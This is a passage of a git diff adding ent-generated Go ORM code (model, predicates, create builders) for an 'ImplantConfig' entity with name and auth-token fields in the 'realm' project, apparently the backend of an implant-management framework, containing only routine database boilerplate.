"fmt" + "strings" + + "entgo.io/ent/dialect/sql" + "github.com/kcarretto/realm/ent/implantconfig" +) + +// ImplantConfig is the model entity for the ImplantConfig schema. +type ImplantConfig struct { + config `json:"-"` + // ID of the ent. + ID int `json:"id,omitempty"` + // Name holds the value of the "name" field. + // Human-readable name assigned to this implant config (e.g. imix-rhel). + Name string `json:"name,omitempty"` + // AuthToken holds the value of the "authToken" field. + // Authentication token used by the implant to communicate with the GraphQL API. + AuthToken string `json:"authToken,omitempty"` + // Edges holds the relations/edges for other nodes in the graph. + // The values are being populated by the ImplantConfigQuery when eager-loading is set. + Edges ImplantConfigEdges `json:"edges"` +} + +// ImplantConfigEdges holds the relations/edges for other nodes in the graph. +type ImplantConfigEdges struct { + // Implants holds the value of the implants edge. + Implants []*Implant `json:"implants,omitempty"` + // ServiceConfigs holds the value of the serviceConfigs edge. + ServiceConfigs []*ImplantServiceConfig `json:"serviceConfigs,omitempty"` + // CallbackConfigs holds the value of the callbackConfigs edge. + CallbackConfigs []*ImplantCallbackConfig `json:"callbackConfigs,omitempty"` + // loadedTypes holds the information for reporting if a + // type was loaded (or requested) in eager-loading or not. + loadedTypes [3]bool +} + +// ImplantsOrErr returns the Implants value or an error if the edge +// was not loaded in eager-loading. +func (e ImplantConfigEdges) ImplantsOrErr() ([]*Implant, error) { + if e.loadedTypes[0] { + return e.Implants, nil + } + return nil, &NotLoadedError{edge: "implants"} +} + +// ServiceConfigsOrErr returns the ServiceConfigs value or an error if the edge +// was not loaded in eager-loading. +func (e ImplantConfigEdges) ServiceConfigsOrErr() ([]*ImplantServiceConfig, error) { + if e.loadedTypes[1] { + return e.ServiceConfigs, nil + } + return nil, &NotLoadedError{edge: "serviceConfigs"} +} + +// CallbackConfigsOrErr returns the CallbackConfigs value or an error if the edge +// was not loaded in eager-loading. +func (e ImplantConfigEdges) CallbackConfigsOrErr() ([]*ImplantCallbackConfig, error) { + if e.loadedTypes[2] { + return e.CallbackConfigs, nil + } + return nil, &NotLoadedError{edge: "callbackConfigs"} +} + +// scanValues returns the types for scanning values from sql.Rows. +func (*ImplantConfig) scanValues(columns []string) ([]interface{}, error) { + values := make([]interface{}, len(columns)) + for i := range columns { + switch columns[i] { + case implantconfig.FieldID: + values[i] = new(sql.NullInt64) + case implantconfig.FieldName, implantconfig.FieldAuthToken: + values[i] = new(sql.NullString) + default: + return nil, fmt.Errorf("unexpected column %q for type ImplantConfig", columns[i]) + } + } + return values, nil +} + +// assignValues assigns the values that were returned from sql.Rows (after scanning) +// to the ImplantConfig fields. +func (ic *ImplantConfig) assignValues(columns []string, values []interface{}) error { + if m, n := len(values), len(columns); m < n { + return fmt.Errorf("mismatch number of scan values: %d != %d", m, n) + } + for i := range columns { + switch columns[i] { + case implantconfig.FieldID: + value, ok := values[i].(*sql.NullInt64) + if !ok { + return fmt.Errorf("unexpected type %T for field id", value) + } + ic.ID = int(value.Int64) + case implantconfig.FieldName: + if value, ok := values[i].(*sql.NullString); !ok { + return fmt.Errorf("unexpected type %T for field name", values[i]) + } else if value.Valid { + ic.Name = value.String + } + case implantconfig.FieldAuthToken: + if value, ok := values[i].(*sql.NullString); !ok { + return fmt.Errorf("unexpected type %T for field authToken", values[i]) + } else if value.Valid { + ic.AuthToken = value.String + } + } + } + return nil +} + +// QueryImplants queries the "implants" edge of the ImplantConfig entity. +func (ic *ImplantConfig) QueryImplants() *ImplantQuery { + return (&ImplantConfigClient{config: ic.config}).QueryImplants(ic) +} + +// QueryServiceConfigs queries the "serviceConfigs" edge of the ImplantConfig entity. +func (ic *ImplantConfig) QueryServiceConfigs() *ImplantServiceConfigQuery { + return (&ImplantConfigClient{config: ic.config}).QueryServiceConfigs(ic) +} + +// QueryCallbackConfigs queries the "callbackConfigs" edge of the ImplantConfig entity. +func (ic *ImplantConfig) QueryCallbackConfigs() *ImplantCallbackConfigQuery { + return (&ImplantConfigClient{config: ic.config}).QueryCallbackConfigs(ic) +} + +// Update returns a builder for updating this ImplantConfig. +// Note that you need to call ImplantConfig.Unwrap() before calling this method if this ImplantConfig +// was returned from a transaction, and the transaction was committed or rolled back. +func (ic *ImplantConfig) Update() *ImplantConfigUpdateOne { + return (&ImplantConfigClient{config: ic.config}).UpdateOne(ic) +} + +// Unwrap unwraps the ImplantConfig entity that was returned from a transaction after it was closed, +// so that all future queries will be executed through the driver which created the transaction. +func (ic *ImplantConfig) Unwrap() *ImplantConfig { + tx, ok := ic.config.driver.(*txDriver) + if !ok { + panic("ent: ImplantConfig is not a transactional entity") + } + ic.config.driver = tx.drv + return ic +} + +// String implements the fmt.Stringer. +func (ic *ImplantConfig) String() string { + var builder strings.Builder + builder.WriteString("ImplantConfig(") + builder.WriteString(fmt.Sprintf("id=%v", ic.ID)) + builder.WriteString(", name=") + builder.WriteString(ic.Name) + builder.WriteString(", authToken=") + builder.WriteString(ic.AuthToken) + builder.WriteByte(')') + return builder.String() +} + +// ImplantConfigs is a parsable slice of ImplantConfig. +type ImplantConfigs []*ImplantConfig + +func (ic ImplantConfigs) config(cfg config) { + for _i := range ic { + ic[_i].config = cfg + } +} diff --git a/ent/implantconfig/implantconfig.go b/ent/implantconfig/implantconfig.go new file mode 100644 index 000000000..1bb53e103 --- /dev/null +++ b/ent/implantconfig/implantconfig.go @@ -0,0 +1,72 @@ +// Code generated by entc, DO NOT EDIT. + +package implantconfig + +const ( + // Label holds the string label denoting the implantconfig type in the database. + Label = "implant_config" + // FieldID holds the string denoting the id field in the database. + FieldID = "id" + // FieldName holds the string denoting the name field in the database. + FieldName = "name" + // FieldAuthToken holds the string denoting the authtoken field in the database. + FieldAuthToken = "auth_token" + // EdgeImplants holds the string denoting the implants edge name in mutations. + EdgeImplants = "implants" + // EdgeServiceConfigs holds the string denoting the serviceconfigs edge name in mutations. + EdgeServiceConfigs = "serviceConfigs" + // EdgeCallbackConfigs holds the string denoting the callbackconfigs edge name in mutations. + EdgeCallbackConfigs = "callbackConfigs" + // Table holds the table name of the implantconfig in the database. + Table = "implant_configs" + // ImplantsTable is the table that holds the implants relation/edge. + ImplantsTable = "implants" + // ImplantsInverseTable is the table name for the Implant entity. + // It exists in this package in order to avoid circular dependency with the "implant" package. + ImplantsInverseTable = "implants" + // ImplantsColumn is the table column denoting the implants relation/edge. + ImplantsColumn = "implant_config" + // ServiceConfigsTable is the table that holds the serviceConfigs relation/edge. The primary key declared below. + ServiceConfigsTable = "implant_config_serviceConfigs" + // ServiceConfigsInverseTable is the table name for the ImplantServiceConfig entity. + // It exists in this package in order to avoid circular dependency with the "implantserviceconfig" package. + ServiceConfigsInverseTable = "implant_service_configs" + // CallbackConfigsTable is the table that holds the callbackConfigs relation/edge. The primary key declared below. + CallbackConfigsTable = "implant_config_callbackConfigs" + // CallbackConfigsInverseTable is the table name for the ImplantCallbackConfig entity. + // It exists in this package in order to avoid circular dependency with the "implantcallbackconfig" package. + CallbackConfigsInverseTable = "implant_callback_configs" +) + +// Columns holds all SQL columns for implantconfig fields. +var Columns = []string{ + FieldID, + FieldName, + FieldAuthToken, +} + +var ( + // ServiceConfigsPrimaryKey and ServiceConfigsColumn2 are the table columns denoting the + // primary key for the serviceConfigs relation (M2M). + ServiceConfigsPrimaryKey = []string{"implant_config_id", "implant_service_config_id"} + // CallbackConfigsPrimaryKey and CallbackConfigsColumn2 are the table columns denoting the + // primary key for the callbackConfigs relation (M2M). + CallbackConfigsPrimaryKey = []string{"implant_config_id", "implant_callback_config_id"} +) + +// ValidColumn reports if the column name is valid (part of the table columns). +func ValidColumn(column string) bool { + for i := range Columns { + if column == Columns[i] { + return true + } + } + return false +} + +var ( + // NameValidator is a validator for the "name" field. It is called by the builders before save. + NameValidator func(string) error + // DefaultAuthToken holds the default value on creation for the "authToken" field. + DefaultAuthToken func() string +) diff --git a/ent/implantconfig/where.go b/ent/implantconfig/where.go new file mode 100644 index 000000000..23badd357 --- /dev/null +++ b/ent/implantconfig/where.go @@ -0,0 +1,444 @@ +// Code generated by entc, DO NOT EDIT. + +package implantconfig + +import ( + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "github.com/kcarretto/realm/ent/predicate" +) + +// ID filters vertices based on their ID field. +func ID(id int) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldID), id)) + }) +} + +// IDEQ applies the EQ predicate on the ID field. +func IDEQ(id int) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldID), id)) + }) +} + +// IDNEQ applies the NEQ predicate on the ID field. +func IDNEQ(id int) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldID), id)) + }) +} + +// IDIn applies the In predicate on the ID field. +func IDIn(ids ...int) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(ids) == 0 { + s.Where(sql.False()) + return + } + v := make([]interface{}, len(ids)) + for i := range v { + v[i] = ids[i] + } + s.Where(sql.In(s.C(FieldID), v...)) + }) +} + +// IDNotIn applies the NotIn predicate on the ID field. +func IDNotIn(ids ...int) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(ids) == 0 { + s.Where(sql.False()) + return + } + v := make([]interface{}, len(ids)) + for i := range v { + v[i] = ids[i] + } + s.Where(sql.NotIn(s.C(FieldID), v...)) + }) +} + +// IDGT applies the GT predicate on the ID field. +func IDGT(id int) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldID), id)) + }) +} + +// IDGTE applies the GTE predicate on the ID field. +func IDGTE(id int) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldID), id)) + }) +} + +// IDLT applies the LT predicate on the ID field. +func IDLT(id int) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldID), id)) + }) +} + +// IDLTE applies the LTE predicate on the ID field. +func IDLTE(id int) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldID), id)) + }) +} + +// Name applies equality check predicate on the "name" field. It's identical to NameEQ. +func Name(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldName), v)) + }) +} + +// AuthToken applies equality check predicate on the "authToken" field. It's identical to AuthTokenEQ. +func AuthToken(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldAuthToken), v)) + }) +} + +// NameEQ applies the EQ predicate on the "name" field. +func NameEQ(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldName), v)) + }) +} + +// NameNEQ applies the NEQ predicate on the "name" field. +func NameNEQ(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldName), v)) + }) +} + +// NameIn applies the In predicate on the "name" field. +func NameIn(vs ...string) predicate.ImplantConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldName), v...)) + }) +} + +// NameNotIn applies the NotIn predicate on the "name" field. +func NameNotIn(vs ...string) predicate.ImplantConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldName), v...)) + }) +} + +// NameGT applies the GT predicate on the "name" field. +func NameGT(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldName), v)) + }) +} + +// NameGTE applies the GTE predicate on the "name" field. +func NameGTE(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldName), v)) + }) +} + +// NameLT applies the LT predicate on the "name" field. +func NameLT(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldName), v)) + }) +} + +// NameLTE applies the LTE predicate on the "name" field. +func NameLTE(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldName), v)) + }) +} + +// NameContains applies the Contains predicate on the "name" field. +func NameContains(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.Contains(s.C(FieldName), v)) + }) +} + +// NameHasPrefix applies the HasPrefix predicate on the "name" field. +func NameHasPrefix(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.HasPrefix(s.C(FieldName), v)) + }) +} + +// NameHasSuffix applies the HasSuffix predicate on the "name" field. +func NameHasSuffix(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.HasSuffix(s.C(FieldName), v)) + }) +} + +// NameEqualFold applies the EqualFold predicate on the "name" field. +func NameEqualFold(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.EqualFold(s.C(FieldName), v)) + }) +} + +// NameContainsFold applies the ContainsFold predicate on the "name" field. +func NameContainsFold(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.ContainsFold(s.C(FieldName), v)) + }) +} + +// AuthTokenEQ applies the EQ predicate on the "authToken" field. +func AuthTokenEQ(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldAuthToken), v)) + }) +} + +// AuthTokenNEQ applies the NEQ predicate on the "authToken" field. +func AuthTokenNEQ(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldAuthToken), v)) + }) +} + +// AuthTokenIn applies the In predicate on the "authToken" field. +func AuthTokenIn(vs ...string) predicate.ImplantConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldAuthToken), v...)) + }) +} + +// AuthTokenNotIn applies the NotIn predicate on the "authToken" field. +func AuthTokenNotIn(vs ...string) predicate.ImplantConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldAuthToken), v...)) + }) +} + +// AuthTokenGT applies the GT predicate on the "authToken" field. +func AuthTokenGT(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldAuthToken), v)) + }) +} + +// AuthTokenGTE applies the GTE predicate on the "authToken" field. +func AuthTokenGTE(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldAuthToken), v)) + }) +} + +// AuthTokenLT applies the LT predicate on the "authToken" field. +func AuthTokenLT(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldAuthToken), v)) + }) +} + +// AuthTokenLTE applies the LTE predicate on the "authToken" field. +func AuthTokenLTE(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldAuthToken), v)) + }) +} + +// AuthTokenContains applies the Contains predicate on the "authToken" field. +func AuthTokenContains(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.Contains(s.C(FieldAuthToken), v)) + }) +} + +// AuthTokenHasPrefix applies the HasPrefix predicate on the "authToken" field. +func AuthTokenHasPrefix(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.HasPrefix(s.C(FieldAuthToken), v)) + }) +} + +// AuthTokenHasSuffix applies the HasSuffix predicate on the "authToken" field. +func AuthTokenHasSuffix(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.HasSuffix(s.C(FieldAuthToken), v)) + }) +} + +// AuthTokenEqualFold applies the EqualFold predicate on the "authToken" field. +func AuthTokenEqualFold(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.EqualFold(s.C(FieldAuthToken), v)) + }) +} + +// AuthTokenContainsFold applies the ContainsFold predicate on the "authToken" field. +func AuthTokenContainsFold(v string) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s.Where(sql.ContainsFold(s.C(FieldAuthToken), v)) + }) +} + +// HasImplants applies the HasEdge predicate on the "implants" edge. +func HasImplants() predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ImplantsTable, FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, ImplantsTable, ImplantsColumn), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasImplantsWith applies the HasEdge predicate on the "implants" edge with a given conditions (other predicates). +func HasImplantsWith(preds ...predicate.Implant) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ImplantsInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, ImplantsTable, ImplantsColumn), + ) + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + +// HasServiceConfigs applies the HasEdge predicate on the "serviceConfigs" edge. +func HasServiceConfigs() predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ServiceConfigsTable, FieldID), + sqlgraph.Edge(sqlgraph.M2M, false, ServiceConfigsTable, ServiceConfigsPrimaryKey...), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasServiceConfigsWith applies the HasEdge predicate on the "serviceConfigs" edge with a given conditions (other predicates). +func HasServiceConfigsWith(preds ...predicate.ImplantServiceConfig) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ServiceConfigsInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.M2M, false, ServiceConfigsTable, ServiceConfigsPrimaryKey...), + ) + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + +// HasCallbackConfigs applies the HasEdge predicate on the "callbackConfigs" edge. +func HasCallbackConfigs() predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(CallbackConfigsTable, FieldID), + sqlgraph.Edge(sqlgraph.M2M, false, CallbackConfigsTable, CallbackConfigsPrimaryKey...), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasCallbackConfigsWith applies the HasEdge predicate on the "callbackConfigs" edge with a given conditions (other predicates). +func HasCallbackConfigsWith(preds ...predicate.ImplantCallbackConfig) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(CallbackConfigsInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.M2M, false, CallbackConfigsTable, CallbackConfigsPrimaryKey...), + ) + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + +// And groups predicates with the AND operator between them. +func And(predicates ...predicate.ImplantConfig) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s1 := s.Clone().SetP(nil) + for _, p := range predicates { + p(s1) + } + s.Where(s1.P()) + }) +} + +// Or groups predicates with the OR operator between them. +func Or(predicates ...predicate.ImplantConfig) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + s1 := s.Clone().SetP(nil) + for i, p := range predicates { + if i > 0 { + s1.Or() + } + p(s1) + } + s.Where(s1.P()) + }) +} + +// Not applies the not operator on the given predicate. +func Not(p predicate.ImplantConfig) predicate.ImplantConfig { + return predicate.ImplantConfig(func(s *sql.Selector) { + p(s.Not()) + }) +} diff --git a/ent/implantconfig_create.go b/ent/implantconfig_create.go new file mode 100644 index 000000000..cfafa3986 --- /dev/null +++ b/ent/implantconfig_create.go @@ -0,0 +1,365 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "errors" + "fmt" + + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" +) + +// ImplantConfigCreate is the builder for creating a ImplantConfig entity. +type ImplantConfigCreate struct { + config + mutation *ImplantConfigMutation + hooks []Hook +} + +// SetName sets the "name" field. +func (icc *ImplantConfigCreate) SetName(s string) *ImplantConfigCreate { + icc.mutation.SetName(s) + return icc +} + +// SetAuthToken sets the "authToken" field. +func (icc *ImplantConfigCreate) SetAuthToken(s string) *ImplantConfigCreate { + icc.mutation.SetAuthToken(s) + return icc +} + +// SetNillableAuthToken sets the "authToken" field if the given value is not nil. +func (icc *ImplantConfigCreate) SetNillableAuthToken(s *string) *ImplantConfigCreate { + if s != nil { + icc.SetAuthToken(*s) + } + return icc +} + +// AddImplantIDs adds the "implants" edge to the Implant entity by IDs. +func (icc *ImplantConfigCreate) AddImplantIDs(ids ...int) *ImplantConfigCreate { + icc.mutation.AddImplantIDs(ids...) + return icc +} + +// AddImplants adds the "implants" edges to the Implant entity. +func (icc *ImplantConfigCreate) AddImplants(i ...*Implant) *ImplantConfigCreate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icc.AddImplantIDs(ids...) +} + +// AddServiceConfigIDs adds the "serviceConfigs" edge to the ImplantServiceConfig entity by IDs. +func (icc *ImplantConfigCreate) AddServiceConfigIDs(ids ...int) *ImplantConfigCreate { + icc.mutation.AddServiceConfigIDs(ids...) + return icc +} + +// AddServiceConfigs adds the "serviceConfigs" edges to the ImplantServiceConfig entity. +func (icc *ImplantConfigCreate) AddServiceConfigs(i ...*ImplantServiceConfig) *ImplantConfigCreate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icc.AddServiceConfigIDs(ids...) +} + +// AddCallbackConfigIDs adds the "callbackConfigs" edge to the ImplantCallbackConfig entity by IDs. +func (icc *ImplantConfigCreate) AddCallbackConfigIDs(ids ...int) *ImplantConfigCreate { + icc.mutation.AddCallbackConfigIDs(ids...) + return icc +} + +// AddCallbackConfigs adds the "callbackConfigs" edges to the ImplantCallbackConfig entity. +func (icc *ImplantConfigCreate) AddCallbackConfigs(i ...*ImplantCallbackConfig) *ImplantConfigCreate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icc.AddCallbackConfigIDs(ids...) +} + +// Mutation returns the ImplantConfigMutation object of the builder. +func (icc *ImplantConfigCreate) Mutation() *ImplantConfigMutation { + return icc.mutation +} + +// Save creates the ImplantConfig in the database. +func (icc *ImplantConfigCreate) Save(ctx context.Context) (*ImplantConfig, error) { + var ( + err error + node *ImplantConfig + ) + icc.defaults() + if len(icc.hooks) == 0 { + if err = icc.check(); err != nil { + return nil, err + } + node, err = icc.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = icc.check(); err != nil { + return nil, err + } + icc.mutation = mutation + if node, err = icc.sqlSave(ctx); err != nil { + return nil, err + } + mutation.id = &node.ID + mutation.done = true + return node, err + }) + for i := len(icc.hooks) - 1; i >= 0; i-- { + if icc.hooks[i] == nil { + return nil, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = icc.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, icc.mutation); err != nil { + return nil, err + } + } + return node, err +} + +// SaveX calls Save and panics if Save returns an error. +func (icc *ImplantConfigCreate) SaveX(ctx context.Context) *ImplantConfig { + v, err := icc.Save(ctx) + if err != nil { + panic(err) + } + return v +} + +// Exec executes the query. +func (icc *ImplantConfigCreate) Exec(ctx context.Context) error { + _, err := icc.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (icc *ImplantConfigCreate) ExecX(ctx context.Context) { + if err := icc.Exec(ctx); err != nil { + panic(err) + } +} + +// defaults sets the default values of the builder before save. +func (icc *ImplantConfigCreate) defaults() { + if _, ok := icc.mutation.AuthToken(); !ok { + v := implantconfig.DefaultAuthToken() + icc.mutation.SetAuthToken(v) + } +} + +// check runs all checks and user-defined validators on the builder. +func (icc *ImplantConfigCreate) check() error { + if _, ok := icc.mutation.Name(); !ok { + return &ValidationError{Name: "name", err: errors.New(`ent: missing required field "ImplantConfig.name"`)} + } + if v, ok := icc.mutation.Name(); ok { + if err := implantconfig.NameValidator(v); err != nil { + return &ValidationError{Name: "name", err: fmt.Errorf(`ent: validator failed for field "ImplantConfig.name": %w`, err)} + } + } + if _, ok := icc.mutation.AuthToken(); !ok { + return &ValidationError{Name: "authToken", err: errors.New(`ent: missing required field "ImplantConfig.authToken"`)} + } + return nil +} + +func (icc *ImplantConfigCreate) sqlSave(ctx context.Context) (*ImplantConfig, error) { + _node, _spec := icc.createSpec() + if err := sqlgraph.CreateNode(ctx, icc.driver, _spec); err != nil { + if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return nil, err + } + id := _spec.ID.Value.(int64) + _node.ID = int(id) + return _node, nil +} + +func (icc *ImplantConfigCreate) createSpec() (*ImplantConfig, *sqlgraph.CreateSpec) { + var ( + _node = &ImplantConfig{config: icc.config} + _spec = &sqlgraph.CreateSpec{ + Table: implantconfig.Table, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + } + ) + if value, ok := icc.mutation.Name(); ok { + _spec.Fields = append(_spec.Fields, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantconfig.FieldName, + }) + _node.Name = value + } + if value, ok := icc.mutation.AuthToken(); ok { + _spec.Fields = append(_spec.Fields, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantconfig.FieldAuthToken, + }) + _node.AuthToken = value + } + if nodes := icc.mutation.ImplantsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: implantconfig.ImplantsTable, + Columns: []string{implantconfig.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges = append(_spec.Edges, edge) + } + if nodes := icc.mutation.ServiceConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.ServiceConfigsTable, + Columns: implantconfig.ServiceConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges = append(_spec.Edges, edge) + } + if nodes := icc.mutation.CallbackConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.CallbackConfigsTable, + Columns: implantconfig.CallbackConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges = append(_spec.Edges, edge) + } + return _node, _spec +} + +// ImplantConfigCreateBulk is the builder for creating many ImplantConfig entities in bulk. +type ImplantConfigCreateBulk struct { + config + builders []*ImplantConfigCreate +} + +// Save creates the ImplantConfig entities in the database. +func (iccb *ImplantConfigCreateBulk) Save(ctx context.Context) ([]*ImplantConfig, error) { + specs := make([]*sqlgraph.CreateSpec, len(iccb.builders)) + nodes := make([]*ImplantConfig, len(iccb.builders)) + mutators := make([]Mutator, len(iccb.builders)) + for i := range iccb.builders { + 